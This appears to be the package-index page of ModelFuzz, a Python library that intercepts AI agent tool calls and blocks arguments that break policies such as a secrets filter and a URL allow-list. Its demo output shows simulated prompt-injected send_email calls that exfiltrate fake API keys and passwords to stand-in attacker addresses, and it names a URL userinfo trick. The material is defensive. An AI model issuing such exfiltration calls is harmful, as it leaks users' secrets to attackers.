Runtime guardrails for AI agents.
Project description
ModelFuzz
Runtime guardrails for AI agents. Intercept and block unsafe tool calls caused by prompt injection.
The Problem
LLM agents can be manipulated through prompt injection into making unsafe tool calls — exfiltrating secrets over email, hitting attacker-controlled URLs, or executing arbitrary shell commands. Because model behavior is inherently unpredictable, prompt-level defenses alone cannot guarantee that a compromised agent won't act on malicious instructions.
The Solution
ModelFuzz intercepts the tool call at the execution layer, not the prompt layer — every argument is checked against your policies before the tool runs. This shifts security from "hoping the model behaves" to "guaranteeing the function is safe to execute."
Quickstart
from modelfuzz import shield_tool
@shield_tool()
def send_email(to_address: str, subject: str, body: str) -> None:
smtp.send(to_address, subject, body)
That's it. If any argument trips a policy (by default, a SensitiveDataFilter that catches secrets, passwords, and API keys), the call raises ModelFuzzBlockError before send_email ever executes.
Need custom policies? Build your own engine:
from modelfuzz import PolicyEngine, SensitiveDataFilter, URLAllowList, shield_tool
engine = PolicyEngine([
SensitiveDataFilter(sensitive_keywords=["internal_token", "ssn"]),
URLAllowList(allowed_domains=["api.mycompany.com"]),
])
@shield_tool(engine=engine)
def fetch_url(url: str) -> str:
...
The Demo
What it looks like: demo.py simulates a prompt-injected agent attempting data exfiltration twice — first against an unguarded tool (the attack succeeds), then against the same tool wrapped in @shield_tool() (the attack is blocked before execution).
Run it yourself with uv run python demo.py:
============================================================
MODELFUZZ DEMO: PROMPT INJECTION DEFENSE
============================================================
============================================================
PART 1: THE BREACH (UNGUARDED)
============================================================
[!] UNGUARDED AGENT: Executing tool with malicious payload...
[>] Tool Call: send_email(**{'to_address': 'attacker@evil.com', 'subject': 'Stolen Data', 'body': "The user's API_KEY is sk-12345..."})
[!] Simulating email send...
To: attacker@evil.com
Subject: Stolen Data
Body: The user's API_KEY is sk-12345...
============================================================
🚨 BREACH
============================================================
Data exfiltrated to attacker@evil.com
============================================================
============================================================
PART 2: THE SHIELD (MODELFUZZ ACTIVE)
============================================================
[+] GUARDED AGENT: Executing tool with malicious payload...
[>] Tool Call: send_email(**{'to_address': 'hacker@malicious.net', 'subject': 'Exfiltration', 'body': 'Secret credentials attached: password123'})
[+] ModelFuzz is intercepting the call...
[✓] ModelFuzz caught a violation:
Reason: String contains sensitive keyword: 'secret'
============================================================
🛡️ MODELFUZZ BLOCKED
============================================================
Sensitive data exfiltration stopped.
============================================================
How It Works
PolicyEngine— runs an ordered list of policies against every tool-call argument and short-circuits on the first violation, returning aPolicyResultwith the block reason. Policies are plain callables ((value) -> Violation | None), so writing your own is a one-function job.@shield_tooldecorator — wraps any function so every positional and keyword argument passes through the engine before the function body runs. A violation raisesModelFuzzBlockError; the tool never executes.- Default Deny — allowlist rules like
URLAllowListblock anything not explicitly permitted: unknown domains, userinfo tricks (http://api.internal.com@evil.com), and unparseable URLs are all treated as violations. When in doubt, the call doesn't run.
Installation
pip install modelfuzz
Or with uv:
uv add modelfuzz
Contributing
Contributions are welcome. See CONTRIBUTING.md for development setup, testing, and pull-request guidelines.
License
MIT — see LICENSE for details.
Project details
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file modelfuzz-0.1.0.tar.gz.
File metadata
- Download URL: modelfuzz-0.1.0.tar.gz
- Upload date:
- Size: 27.4 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: uv/0.11.18 {"installer":{"name":"uv","version":"0.11.18","subcommand":["publish"]},"python":null,"implementation":{"name":null,"version":null},"distro":{"name":"macOS","version":null,"id":null,"libc":null},"system":{"name":null,"release":null},"cpu":null,"openssl_version":null,"setuptools_version":null,"rustc_version":null,"ci":null}
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
404983298837a93ef8e59628a77eede247ccef5f0dff718adec62b29b0357f5b
|
|
| MD5 |
9f712f20f6e84442757873d494dd6c66
|
|
| BLAKE2b-256 |
4a0862b6569ff323e21628ff6b2a6bfcb13520d3715ac3e0fd387cab71e4d2c7
|
File details
Details for the file modelfuzz-0.1.0-py3-none-any.whl.
File metadata
- Download URL: modelfuzz-0.1.0-py3-none-any.whl
- Upload date:
- Size: 7.9 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: uv/0.11.18 {"installer":{"name":"uv","version":"0.11.18","subcommand":["publish"]},"python":null,"implementation":{"name":null,"version":null},"distro":{"name":"macOS","version":null,"id":null,"libc":null},"system":{"name":null,"release":null},"cpu":null,"openssl_version":null,"setuptools_version":null,"rustc_version":null,"ci":null}
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
6407199aafae812ac0ca2460dd3fbe897325206e7137e9a0ca9e09b5811b52bd
|
|
| MD5 |
1577bad0cdca392cfc4c53ca073fad4a
|
|
| BLAKE2b-256 |
841d5a391e3bb4e52eb7215be73de57b2c9e5ecc7b8bcfb3e15e13136f13629a
|